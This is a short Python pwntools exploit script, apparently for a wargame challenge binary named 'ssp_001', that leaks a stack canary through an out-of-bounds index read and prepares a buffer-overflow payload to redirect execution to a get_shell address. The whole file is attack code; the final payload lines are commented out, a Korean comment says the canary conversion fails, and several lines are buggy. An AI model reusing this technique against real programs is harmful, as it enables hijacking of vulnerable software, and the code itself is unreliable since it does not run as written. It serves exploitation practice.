from pwn import *


p = process('./ssp_001')


index = ['131','130','129','128']

cnry = b"0x"

for i in list(index):
	p.sendlineafter('> ','P')
	p.sendlineafter('Element index : ',i)
	string = p.recvuntil('is : ')
	cnry += p.recvn(2)


print("canary : "+cnry)


cnryval = hex(int(cnry,16))

print(cnryval)

p32(cnryval) # 이게 안됨..


p.sendlineafter('> ','E')
p.sendlineafter('Name Size : ','300')

offset = 64

get_shell = p32(0x80486b9)



#payload = b'A'*offset + p32(cnryval) + b'bbbb' + get_shell



#p.sendlineafter('Name : ',payload)



#p.interactive()